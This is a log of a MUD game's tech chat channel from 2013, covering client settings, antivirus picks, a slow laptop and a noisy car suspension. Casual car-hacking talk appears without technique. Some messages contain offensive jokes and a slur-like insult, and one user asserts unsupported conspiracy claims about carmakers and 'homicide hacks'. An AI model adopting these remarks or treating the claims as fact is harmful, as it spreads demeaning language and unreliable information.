T3/r7/2013-09-16.txt.gz:{chan ch=tech}Vost Tech: I was gonna use Apache Open Office, but that is 32 bit
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Bad angel Ghaan Tech: Doesn't matter, you can use OpenOffice/LibreOffice 32bit on a 64bit system. No difference anyway.
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Mye Tech: quick question .. if i update ipsec policies through the registry, are there any services i need to restart in order for them to take affect? (migrating systems, so i just did a wholesale copy of the branch and verified they appeared through secpol.msc)
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Bunnyy Tech: when i use mapper cexit to specify opening a door say, to the north, is there a way to automatically enable the mapper to map the reverse as well, ie, when i'm north of that original room, the mapper will open the door on the south?
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Ayasinda Tech: Bunnyy: No there is not
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Nyarlathodep Tech: i went to the bt site and see nowhere to DL 
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Go to play store and google Aardwolf or Blowtorch
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Nyarlathodep Tech: am i missing something?
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: s/google/search/
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Nyarlathodep Tech: ahh...i will check there. thx
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Book of Etzli Tech: These days, google and search are synomonous, Cheezburger. :p
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Tech: Book of Etzli blinks innocently.
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Nyarlathodep Tech: i normally use gibiru
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: I hear some people actually Bing things too :P (Crazy fools)
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Doc Holliday Tech: lycos baby!
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Tech: Om Nom Nom Cheezburger laffs.
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Book of Etzli Tech: Heh. I've done the "Bing Challenge" at bingchallenge.com, and I've chosen Google 90% of the time.
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Yahoo kinda sorta undied too :P
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Book of Etzli Tech: I'm more an 'Ask Jeeves' kinda guy. Makes me feel important, having a virtual butler find things for me.
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Mine comes up dead even every time, mostly because I actually use search strings and arguments right :P
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Tech: Book of Etzli snickers with Om Nom Nom Cheezburger about their shared secret.
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Doc Holliday Tech: heh, i like to get my data from a dogpile of stuff
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Book of Etzli Tech: I tend to use them properly, too. It's part of my  job to know how to use them.
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Book of Etzli Tech: DuckDuckGo?
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: RSS feeds ftw, Holl?
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Mr. Dash Tech: there is something better than altavista?
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Doc Holliday Tech: you can tell we are all aged....
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Tech: Book of Etzli snickers with Doc Holliday about their shared secret.
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Purrrrific Growltiger Tech: lycos 
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Doc Holliday Tech: this blows my theory about most of the people on here being ignorant 14 year olds....
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Mr. Dash Tech: obviously, we should all exchange ICQ numbers and get into our y2k bunkers
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at Mr. Dash.
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Tech: Purrrrific Growltiger grins evilly at Mr. Dash.
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Doc Holliday Tech: I think i still have some canned green beans from y2k
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Book of Etzli Tech: In other news, apparently AOL still relies on its 5million dialup users (or something like that).
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Purrrrific Growltiger Tech: aard, aarp
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Doc Holliday Tech: now i just get my food insurance from glen beck
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: AOL is *BRUTAL* to cancel with. There's a couple of really funny recorded phone conversations with reps.
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Mr. Dash Tech: my 9600 baud modem makes girls hot
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at Captain HR Vakieh.
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Doc Holliday Tech: woot shooter is dead!
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Doc Holliday Tech: not to change the subject
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: One devolves into the guy saying 'please cancel the service' over and over and over and over, rep gets angry
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I heard 1 shooter of 2-3 was down
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Mr. Dash Tech: i'd like to hear that one if you can find a link, vakieh =p
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Mr. Dash Tech: the rep call, not the shooter mess
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Doc Holliday Tech: Ahh I didnt see they determined for sure there were more shooters
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Book of Etzli Tech: Holliday: What shooter? *blink*
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Doc Holliday Tech: the shooter in DC today
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Doc Holliday Tech: http://www.nbcwashington.com/news/local/Confirmed-Shooter-at-Navy-Yard-One-Person-Shot-223897891.html
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Doc Holliday Tech: shot 11 people including 2 cops
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: http://consumerist.com/2006/06/13/the-best-thing-we-have-ever-posted-reader-tries-to-cancel-aol/
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Mr. Dash Tech: thanks for th elink, vakieh
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Book of Etzli Tech: Thanks.
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Here in AU we have trade laws that mean if we have a recording of asking to cancel, or send a registered cancellation letter or email, we can just not pay
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: But that phone call is freaking hilarious. AOL is like a dinosaur struggling to hold its head out of the tar pit
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at Captain HR Vakieh.
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Book of Etzli Tech: I was just reading an article about technology that should be dead, yet still lives on.
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Legacy code is the bane of the IT industry. Though I suppose that is true for pretty much any industry
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Mr. Dash Tech: vakieh, i have to say one of the funniest things about that page is the dates in the comment section
T3/r7/2013-09-16.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: HEh.
T3/r7/2013-09-16.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Port or rewrite, that is the question.
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Builders get stuck with asbestos construction, electricians get stuck with wiring from the 50s, programmers get... idk, COBOL?
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Taldornor Tech: VB6 
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I don't actually see the comments on that page, I assume adblock ate them
T3/r7/2013-09-16.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Pffft asp.net is bad enough...
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: VB6 was a great language for its time. Early vb.NET was the nightmare
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: .NET in general...
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Mr. Dash Tech: all of them are dated "November 30, -0001 at 12:00 am"
T3/r7/2013-09-16.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: hi, does west live wallpaper om android still consumes battery life when im in an app and not at home screen ?
T3/r7/2013-09-16.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: -west
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Flak Tech: anyone know anything about CMud?
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Book of Etzli Tech: Ask your question.
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Velian Tech: plenty of us. just ask
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Book of Etzli Tech: You'll likely get a better answer.
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Flak Tech: how do i get it to stop repeating the command and just make the text disappear after i enter something
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Book of Etzli Tech: You're talking about the command line?
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Flak Tech: so i get a newline instead of the old line again
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Flak Tech: nods
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Book of Etzli Tech: It's in the preferences.
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Book of Etzli Tech: Preferences -> First tab (User Interface), tick 'Auto-clear command line'
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Flak Tech: awesome :)
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Flak Tech: so much more comfortable now, thanks etzli
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Tech: Book of Etzli rapidly nods twice, in complete agreement.
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Turie Tech: I have a computer that is running rather slowly, locking up, and this is happening after a few minutes of doing a reboot. Could it be a virus, malware, both, or another issue? I cannot get it to run a full scan of Malware Bytes before it lags.
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Hanslanda Tech: does it feel hot?
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Ixle Tech: Sounds like a bad case of Windows :(
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Mr. Dash Tech: clean inside of tower of dust, if you can get dust out of the heat sink, that would be best
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Turie Tech: It is a laptop, it is cool, and there are no loud noises. I can hear the harddrive but my hearing is sensitive.
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Vost Tech: could be malware
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Turie Tech: That is what I am thinking. I am hoping I can get Malware Bytes to do a full scan.
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Vost Tech: is your data backed up?
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Turie Tech: It is not my computer. It is a friends. lol
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Vost Tech: ok, is the data backed up?
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Turie Tech: I finally got ccleaner to run to clean that off......6 gigs of crap.
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Turie Tech: Vost: I think so, but I do not know.
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Vost Tech: last resort is to re-install the OS 
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Turie Tech: It is a school laptop. So, that would be difficult. lol
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Vost Tech: then send it back to the school 
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Vost Tech: wait, are you the school's IT support guy? 
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Turie Tech: I am the Math Departments one. lol
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Mr. Dash Tech: 'lol'
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Vost Tech: the math department's IT support guy?
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Turie Tech: I am a power user.....not a software engineer.
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Vost Tech: if an anti-virus scan and Malwarebytes Anti-malware aren't scanning, I would recommend a clean install
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Turie Tech: Dash know you want to help me!
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Turie Tech: I just got Malware Bytes to load.....
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Turie Tech: It is laggings. I wonder what I will find.
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Vost Tech: did it help?
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Vost Tech: ok, waiting for the scan to finish
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Turie Tech: Wow.....20 objects detected in the first 3 minutes.
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Mr. Dash Tech: "objects" could just be cookies or registry entries. expect some bloated number that may or may not mean anything
T3/r7/2013-09-16.txt.gz:{chan ch=tech}RedRain Tech: many of the objects will be low level things not related to your slowing
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Turie Tech: I ran free registry repair before this though.
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Turie Tech: Cookies are removed with Ccleaner
T3/r7/2013-09-16.txt.gz:{chan ch=tech}RedRain Tech: each app is slightly different and may delete different things of same type
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Mye Tech: what's decent for free antivirus/anti-malware these days? is avg/malware bytes still considered good? notice ms has something through windows update but would suspect that's more along the lines of "something is better than nothing"?
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Fi-Bot Fiain Tech: I use Avast, but not sure how good it is. :P
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Turie Tech: I like it.
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Vexthorne Tech: MSE was good but I believe it's fallen a bit lately, still decent but not the best
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Doc Holliday Tech: i like microsoft security essentials
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Doc Holliday Tech: nice free
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Twigg Tech: avast was going to be my suggestion
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Turie Tech: By the way, it seems to be bad sectors/files/unreadable file segments.
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Mye Tech: ah, forgot avast, think i had that installed originally, too .. thanks :)
T3/r7/2013-09-16.txt.gz:{chan ch=tech}WarPigs Tech: MSE, Avira, or Avast
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Anyone able to get LuaSocket to compile under 5.2?
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Lua5.2, that is.
T3/r7/2013-09-16.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Oh well, back to 5.1 then :P
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Loktar Tech: Is there a way to do a Ctrl-lock, like caps-lock does for the shift key?
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Tech: the handicap features can do that
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Loktar Tech: not familiar with them, mind elaborating a bit on it? :)
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Loktar Tech: please ^^
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Tech: go to control panel, accessibility
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Loktar Tech: interesting, thanks
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Basolili Tech: My text boxes and maps are slanted in cmud. How could I fix this
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Basolili Tech: My text boxes and maps are slanted in cmud. How could I fix this
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Nuanse Tech: window-> cascade?
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Basolili Tech: In the window tab?
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Basolili Tech: The points and levels are not aligned with the title when i type eqsearch all. This happens to other tables as well such as score and train. Im using cmud. How could I realign my texts?
T3/r7/2013-09-17.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: are you using the right type of font?
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Basolili Tech: im using Times New Roman cause I find it easier to read
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Tasty Tipro Tech: Can anyone point me to a publicly available pup/level timer plugin for MUSH?
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Tasty Tipro Tech: anyone know a pup/level timer plugin for MUSH I can dl?
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Nuanse Tech: one that reports or one that just tracks?
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Tasty Tipro Tech: reports
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Tasty Tipro Tech: reports times at least
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Nuanse Tech: basts tracks and puts them in miniwin, but it doesnt report on channels
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Tasty Tipro Tech: that would be good to. I'll check his website thanks
T3/r7/2013-09-17.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: it reports time it took/gains/ave exp etc and u can set it to report to chan.
T3/r7/2013-09-17.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: and stats window keeps track of levels too.
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Tech: Nuanse nods at CheeZy Bot HiSaZuL.
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Endwyn Tech: how might i set a hotbutton on android to combine cannabalize and self heal to save screen space?
T3/r7/2013-09-17.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: try to add another action/command to it
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Endwyn Tech: figured it out .. have to set canni to button then cast to flip command on same button.. doesnt do same at once but makes it more interactive haha
T3/r7/2013-09-17.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: nice :-) 
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Zade Tech: maybe "alias ch c 10;;c 132"
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Ah Fatt Tech: is the old soundpack no longer compatible with mushclient?
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Ah Fatt Tech: i have the old one and it doesn't seem to be working
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Ah Fatt Tech: ie i didn't update it
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Thrakun Tech: what would the average spellup bonus be at t3 111 with 70ish int anyone know offhand
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Comanchee Tech: can anyone help me recenter my map window plz?
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Doc Holliday Tech: reset aard
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Doc Holliday Tech: should do it
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Comanchee Tech: when i type that it says "you are not holding a reset area token"
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Hanslanda Tech: think the command is "resetaard", not "reset aard"
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Doc Holliday Tech: that would be it
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Comanchee Tech: ugh that changed all windows to default font/size and position
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Nuanse Tech: but map is centered :)
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Hanslanda Tech: as far as I know, there is no similar command to reset just a specific window.
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Comanchee Tech: heh
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Tigernuts Tech: any car techs in?
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Comanchee Tech: k thx hanslanda
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Hanslanda Tech: they probably don't want to do their day jobs in aard, tiger, but I suppose if you just asked your question you perhaps could trick them into answering.
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Tigernuts Tech: random clunks, spongs and rattles coming from under the car whenever going over a pothole at lowish speed
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Nuanse Tech: did you drive over infant that had babyrattler in his hand?
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Tigernuts Tech: nope
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Ayasinda Tech: hmm, yeah. I'm pretty sure the diagnoses is a broken car
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Tech: Nuanse is agreeing with that Ayasinda person again...
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Hanslanda Tech: does it occur anytime else?  Like, say, when you're turning or even just driving on bumpy (not potholey) roadway?
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Doc Holliday Tech: potholey
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Doc Holliday Tech: i like it
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Doc Holliday Tech: mybe cv joint or ball joint?
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Tigernuts Tech: it did spong a couple when going around a roundabout and hitting a slight bump
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Tigernuts Tech: don't hear it at higher speeds
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Doc Holliday Tech: try resetcar
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Hanslanda Tech: you probably don't hear it because of road noise.
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Tigernuts Tech: doesn't happen if i push any of the corners up and down manually when stopped
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Tigernuts Tech: nah, hans, the spongs and lumps are pretty loud
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Zade Tech: check the drive belt
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Tigernuts Tech: wrong end of the car for the drive belt
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Doc Holliday Tech: struts would be my guess then :)
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Nuanse Tech: I think it's the woman who you put to push the car...she is hitting the car with high heels
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Doc Holliday Tech: but im not a mechanic, i just play one in the video games
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Tigernuts Tech: i was thinking struts or springs
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Martini & Tyebald Tech: pretty sure that's a plumber.
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Zade Tech: check the transmission oil level
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Doc Holliday Tech: while the car is parked, push down on the back corner kinda hard
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Hanslanda Tech: hehe, I'm inordinately entertained by your troll, Holliday.  Don't stop.
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Tigernuts Tech: did that, no noise doc
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Doc Holliday Tech: i was seriously trying to help, just not really a mechanic
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Doc Holliday Tech: not trolling :)
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Doc Holliday Tech: didnt want my advice to be taken super seriously, just throwing out ideas
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Endwyn Tech: how dare ye pelt with thought! 
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Tech: Doc Holliday strips naked and screams, 'If I'm gonna die, I'm gonna die in style!!'
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Hanslanda Tech: truth be told, though, if you can hear those kinds of noises it usually means something broke or wore out.  It would be quite obvious just by getting in there and looking.
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Zade Tech: how old is the car, what year make model - maybe Lemonaid reported something similar
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Tigernuts Tech: it's 8
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Tigernuts Tech: bushes, probably
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Zade Tech: 2013 - 8 is 2005 or 2004 approx
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Zade Tech: car manufacturers deliiberately build lemons -- because the captive population requires cars - and difficult to go elsewhere if every car manufacturer is building lemons
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Tigernuts Tech: yah, reading the stuff online certainly sounds like rubber bushes on the read suspension
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Doc Holliday Tech: shouldnt be a tough job them
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Doc Holliday Tech: then*
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Tigernuts Tech: heh, everything is a tough job on it, it's a fucking vauxhall
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Hanslanda Tech: if you have bushes in your undercarriage, well there's your problem!
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Zade Tech: bushings or bushes
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Tigernuts Tech: designed by apes, built by monkies, deliberate redundancy, only car in history which requires a main dealer or a small starving vietnamese child to change a headlight bulb
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Tigernuts Tech: other than the stupid design flaws, it's been reasonably reliable
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Zade Tech: the british spell some english words differently
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Tigernuts Tech: correctly, you mean, surely?
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Hanslanda Tech: yeah, such as Opel and Offal
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Doc Holliday Tech: the one car I hated was a 300
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Doc Holliday Tech: had to remove the tire to change battery
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Hanslanda Tech: what?  why?
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Zade Tech: those vehicles that require the body to be removed to change the spark plugs -- that is extremely crook on the part of the manufacturers
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Tigernuts Tech: well, cars are sufficiently reliable these days that they have to build in awkwardness and redundancy otherwise they make no money
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Zade Tech: a thousand dollar job to change the spark plugs - ouch
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Zade Tech: Tigernuts, most cars start to self-destruct within ten years, so that reason is unacceptable 
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Hanslanda Tech: that's more a reflection of the driver than the car, Zade.
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Tigernuts Tech: old cars used to rust, but were simple so could be fixed by anyone mechanically minded
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Tigernuts Tech: modern cars don't rust and are well built, but require the vendor's special computer systems to diagnose, can only use vendor parts, which are jolly expensive
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Tigernuts Tech: definitely can't be fixed by a handy man
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Hanslanda Tech: not true at all, Tiger.  It's more an issue that most people simply don't want to change their toolsets.
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Zade Tech: some car manufacturers are extremely blatant on how bad some of the cars are -- unreliable as soon as the car leaves the lot - there is no competition in the ECMs (where incompetent and disgruntled programmers attempt to imitate gremlins)
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Tigernuts Tech: it's all electronic, hans, there's no tools
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Tigernuts Tech: did you see the video of the hacker hacking a modern car?
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Zade Tech: some of the bad is due to faulty physical design, perhaps an attempt to disguise that the ECMs are defective
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Hanslanda Tech: you mean from like 4 blocks away, using a homemade antenna cobbled together from cellphones?
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Tigernuts Tech: there is way too much reliance on electronics and computer management in cars these days
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Tigernuts Tech: the initial hack was via cable, but certain models can be hacked remotely, yes
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Tigernuts Tech: i'll certainly be getting a pre-90s car when this one dies
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Zade Tech: what about that satellite service able to control the car -- if that were hackable - turn off thousands of cars at once during peak hour
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Hanslanda Tech: you can actually listen for and rebroadcast the RF signal, so it's like hackers have their own fob for any car.
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Hanslanda Tech: it's hackable, yes.
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Zade Tech: those cars that suddenly stop working while doing a normallt safe turn in front of oncoming traffic -- almost as though a homicide hack
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Tigernuts Tech: how about a simple car with mechanical features that is reliable and works, keep your gay electric crap
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Hanslanda Tech: I wonder if any hackers have done the "Heaven Help Us" clicker trick?
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Doc Holliday Tech: it'll be ok because teh UFOs will save us all
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Zade Tech: like somebody at the satellite company having fun turning off somebody's car as the victim is making a turn
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Zade Tech: airbags are scary -- like a death lottery
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Luw Tech: Anyone on that is familiar with the Mudlet GUI?  I'm new to Aard.
T3/r7/2013-09-17.txt.gz:{chan ch=tech}HelperMan Hadar Tech: anyone know if you can change the youtube default page from "what to watch" to something else?
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Ampersand Tech: Just downloaded the aardwolf client, for some reason my miniman is showing in the main screen and is frozen in the secondary window, how do I fix this?
T3/r7/2013-09-17.txt.gz:{chan ch=tech}Ampersand Tech: minimap*
